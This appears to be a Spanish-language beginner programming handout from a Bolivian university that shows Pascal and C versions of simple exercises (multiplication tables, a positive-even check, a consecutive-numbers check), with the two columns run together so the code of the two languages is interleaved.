Programa 4 Disear un programa para generar la tablas de multiplicar del 1 al 10 Program Ejemp4; /* ejemp 4 */ Uses crt; #include <stdio.h> Var t,c,r: integer; #include <stdlib.h> Begin main() Clrscr; { int t,c,r; For t:=1 to 10 do for( t=1; t<11; t++) Begin { For c:=1 to 10 do for(c=1;c<11;c++) Begin { R:=c*t; r = c*t; writeln(c, * ,t, = ,r); printf("%2d * %2d = %2d \n",c,t,r); End; } Writeln; printf("\n"); End; } End. } Programa 5 Esbozar un programa que permita determinar si un numero introducido por teclado es positivo y par. Program Ejemp5; /* ejemp 5 */ Uses crt; #include <stdio.h> Var a: real; #include <stdlib.h> Begin main() Clrscr; { unsigned a; Write(Introduzca un numero); printf (" introduzca un numero ") ; Read(a); scanf("%d",&a); If (a>0) and (a mod 2=0) then if (a>0 && a%2==0) Writeln(es positivo par); printf("es positivo par"); End. return 0; } Programa 6 Determinar si 2 numeros introducidos por teclado son consecutivos en forma ascendente Program Ejemp6; Uses crt; Var a,b:integer; Begin Clrscr; Write(Introduzca un primer numero); Readln(a); Write(Introduzca un segundo numero); Readln(b); If (b=a+1) then Writeln(son consecutivos) Else Writeln(no son consecutivos); End. /* ejemp 6 */ #include <stdio.h> #include <stdlib.h> int a,b; main() { printf (" introduzca un primer numero") ; scanf("%d",&a); printf (" introduzca un seg numero") ; scanf("%d",&b); if (b==a+1) puts("son consecutivos"); else puts("no son consecutivos"); return 0; }

U N

I V E R S

I D A D

D 41

A Q U

I N

B O L

I V

I A

You might also like